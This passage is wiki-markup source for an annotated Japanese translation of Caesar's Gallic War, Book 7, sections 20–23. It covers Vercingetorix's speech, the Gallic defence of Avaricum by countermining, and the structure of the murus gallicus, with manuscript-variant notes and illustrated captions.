**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
